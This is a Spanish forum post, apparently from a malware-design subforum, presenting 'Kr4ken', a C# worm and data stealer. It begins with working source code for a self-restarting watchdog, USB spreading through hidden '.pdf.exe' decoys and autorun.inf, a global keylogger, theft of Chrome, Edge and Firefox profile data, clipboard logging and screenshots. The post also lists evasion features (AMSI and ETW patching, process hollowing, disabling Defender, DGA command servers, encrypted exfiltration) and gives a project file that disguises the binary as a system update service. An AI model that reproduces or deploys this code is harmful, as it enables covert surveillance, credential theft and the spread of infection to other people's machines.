                Timer t = new Timer(WATCHDOG_CHECK_INTERVAL.TotalMilliseconds);
                int retry = 0;
                const int max = 8;

                t.Elapsed += (s, e) => {
                    if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(path)).Length == 0) {
                        try {
                            int delay = Math.Min(2000 * (1 << retry), 45000);
                            Thread.Sleep(delay);
                            Process.Start(path);
                            retry = retry < max ? retry + 1 : 0;
                        } catch { }
                    }
                };
                t.Start();
            }
        }

        // ====================== USB PROPAGATION ======================
        private static class Propagation {
            public static void InfectUSBDrives() {
                foreach (var drive in DriveInfo.GetDrives().Where(d => d.DriveType == DriveType.Removable && d.IsReady)) {
                    try {
                        CreateHiddenPayloadCopies(drive.RootDirectory.FullName);
                        CreateAutorunInf(drive.RootDirectory.FullName);
                    } catch { }
                }
            }

            private static void CreateHiddenPayloadCopies(string root) {
                var names = new[] { "Annual_Report_2026", "Pending_Invoice_Q1", "Confidential_Document", "Budget_2026_Final" };
                var rand = new Random();
                for (int i = 0; i < 4; i++) {
                    string name = names[rand.Next(names.Length)] + ".pdf.exe";
                    string target = Path.Combine(root, name);
                    try {
                        File.Copy(malwarePath, target, true);
                        File.SetAttributes(target, FileAttributes.Hidden | FileAttributes.System);
                    } catch { }
                }
            }

            private static void CreateAutorunInf(string root) {
                string path = Path.Combine(root, "autorun.inf");
                if (File.Exists(path)) return;

                string content = @"[autorun]
                                    action=Open Document
                                    open=Annual_Report_2026.pdf.exe
                                    icon=Annual_Report_2026.pdf.exe,0";
                try {
                    File.WriteAllText(path, content);
                    File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
                } catch { }
            }
        }

        // ====================== PAYLOADS ======================
        private static class Payloads {
            public static void StartAll() {
                StartKeyAndMouseHooks();
                StealBrowserData();
                MonitorClipboardImproved();
                PeriodicScreenshots();
            }

            public static void StartKeyAndMouseHooks() {
                keyProc = KeyLoggerCallback;
                keyHook = SetWindowsHookEx(13, keyProc, GetModuleHandle(null), 0);
            }

            private static int KeyLoggerCallback(int nCode, IntPtr wParam, IntPtr lParam) {
                if (nCode >= 0 && wParam == (IntPtr)0x0100) {
                    try {
                        int vk = Marshal.ReadInt32(lParam);
                        string key = GetKeyString(vk);
                        if (!string.IsNullOrEmpty(key)) {
                            lock (_bufferLock) {
                                _keyLogBuffer.Append(key);
                                if (_keyLogBuffer.Length >= 2048 || (DateTime.Now - _lastKeyLogWrite > KEYLOG_BUFFER_THRESHOLD)) {
                                    File.AppendAllText(Path.Combine(Path.GetTempPath(), "keys.txt"), _keyLogBuffer.ToString());
                                    _lastKeyLogWrite = DateTime.Now;
                                    _keyLogBuffer.Clear();
                                }
                            }
                        }
                    } catch { }
                }
                return CallNextHookEx(keyHook, nCode, wParam, lParam);
            }

            private static string GetKeyString(int vkCode) {
                switch (vkCode) {
                    case 0x0D: return "[ENTER]\r\n";
                    case 0x08: return "[BACK]";
                    case 0x09: return "[TAB]";
                    case 0x1B: return "[ESC]";
                    case 0x20: return " ";
                }
                if (vkCode >= 0x70 && vkCode <= 0x7B) return $"[F{vkCode - 0x6F}]";

                bool shift = (GetAsyncKeyState(0x10) & 0x8000) != 0;
                bool caps = Console.CapsLock;
                char c = (char)vkCode;

                if (char.IsLetter(c)) return (shift ^ caps) ? c.ToString().ToUpper() : c.ToString().ToLower();
                if (char.IsDigit(c) && shift) {
                    string shifted = ")!@#$%^&*(";
                    return shifted[c - '0'].ToString();
                }
                return c.ToString();
            }

            public static void StealBrowserData() {
                string temp = Path.Combine(Path.GetTempPath(), "browser");
                Directory.CreateDirectory(temp);

                try {
                    string chrome = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Default");
                    if (Directory.Exists(chrome)) SafeDirectoryCopy(chrome, Path.Combine(temp, "chrome"));

                    string edge = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data\Default");
                    if (Directory.Exists(edge)) SafeDirectoryCopy(edge, Path.Combine(temp, "edge"));

                    string firefox = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Mozilla\Firefox\Profiles");
                    if (Directory.Exists(firefox)) SafeDirectoryCopy(firefox, Path.Combine(temp, "firefox"));
                } catch { }
            }

            private static void SafeDirectoryCopy(string source, string dest) {
                try {
                    Directory.CreateDirectory(dest);
                    foreach (string file in Directory.GetFiles(source)) {
                        string destFile = Path.Combine(dest, Path.GetFileName(file));
                        if (new FileInfo(file).Length < 10 * 1024 * 1024)
                            File.Copy(file, destFile, true);
                    }
                } catch { }
            }

            public static void MonitorClipboardImproved() {
                Timer t = new Timer(5000);
                string path = Path.Combine(Path.GetTempPath(), "clipboard.txt");
                t.Elapsed += (s, e) => {
                    try {
                        if (Clipboard.ContainsText())
                            File.AppendAllText(path, $"[{DateTime.Now:HH:mm:ss}] {Clipboard.GetText()}\n");
                    } catch { }
                };
                t.Start();
            }

            public static void PeriodicScreenshots() {
                Timer t = new Timer(60000);
                string dir = Path.Combine(Path.GetTempPath(), "screenshots");
                Directory.CreateDirectory(dir);
                t.Elapsed += (s, e) => {
                    try {
                        using Bitmap bmp = new(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
                        using Graphics g = Graphics.FromImage(bmp);
                        g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
                        string path = Path.Combine(dir, $"scr_{DateTime.Now:yyyyMMdd_HHmmss}.jpg");
                        bmp.Save(path, ImageFormat.Jpeg);
                    } catch { }
                };
                t.Start();
            }

            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string? lpModuleName);
            [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey);
        }
8  Seguridad Informática / Análisis y Diseño de Malware / Kr4ken - El Kraken ha sido liberado! en: 19 Abril 2026, 01:41 am
Muy buenas a todos!

Os presento mi proyecto actual en C#: Kr4ken.

Se trata de un malware tipo worm/stealer, diseñado para persistir en el sistema, evadir mecanismos de defensa, robar información y exfiltrarla a servidores de mando y control (C2).

Flujo principal (Main)

El programa sigue esta secuencia:

Detecta sandbox o entornos de análisis.
Genera un identificador único de la máquina.
Deriva una clave de cifrado ligada al equipo.
Intenta desactivar AMSI y ETW.
Genera servidores C2 mediante DGA.
Establece persistencia.
Intenta desactivar antivirus/Defender.
Se propaga por USB.
Ejecuta técnicas de process hollowing.
Inicia robo de datos, exfiltración y watchdog.

En resumen: se oculta, se instala, roba y exfiltra datos.

Componentes principales

1. Anti-análisis
Detecta entornos sospechosos mediante:
Indicadores de VM (VMware, VirtualBox, etc.)
Procesos de análisis (Wireshark, IDA, x64dbg…)
Depuradores, baja entropía del sistema, anomalías temporales

2. Evasión
Parcheo en memoria de amsi.dll y ntdll.dll
Evita inspección (AMSI) y trazabilidad (ETW)

3. C2 y DGA
Genera dominios dinámicos basados en fecha, seeds y machine ID
Evita dependencia de infraestructura fija

4. Cifrado
PBKDF2 (SHA-256) + AES-CBC
Claves derivadas de contraseña + máquina
Datos exfiltrados cifrados y ligados al host

5. Process Hollowing
Inyección en procesos legítimos (svchost, explorer…)
Ejecución encubierta para evadir detección

6. Persistencia
Claves de registro (Run, RunOnce)
Tareas programadas
Watchdog de autorrecuperación

7. Propagación USB
Copia el binario con nombres señuelo (PDF falsos)
Oculta archivos y usa autorun.inf (soy un nostálgico)

8. Robo de información
Incluye varios módulos:
Keylogger (hook global)
Robo de datos de navegadores (Chrome, Edge, Firefox)
Monitor del portapapeles
Capturas de pantalla periódicas

9. Exfiltración
Cada ~35 minutos:
Recopila datos robados
Los comprime y cifra
Los envía vía HTTP(S) a C2
Usa User-Agents falsos y rotación de servidores

Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.

Kr4ken.csproj
Código:
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>WinExe</OutputType>
<!-- No console -->
<TargetFramework>net8.0-windows</TargetFramework>
<UseWindowsForms>true</UseWindowsForms>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>

<!-- Further hide the executable -->
<ApplicationIcon />
<Company>Kr4ken Security</Company>
<Product>System Update Service</Product>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="System.Management" Version="8.0.0" />
</ItemGroup>

</Project>
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines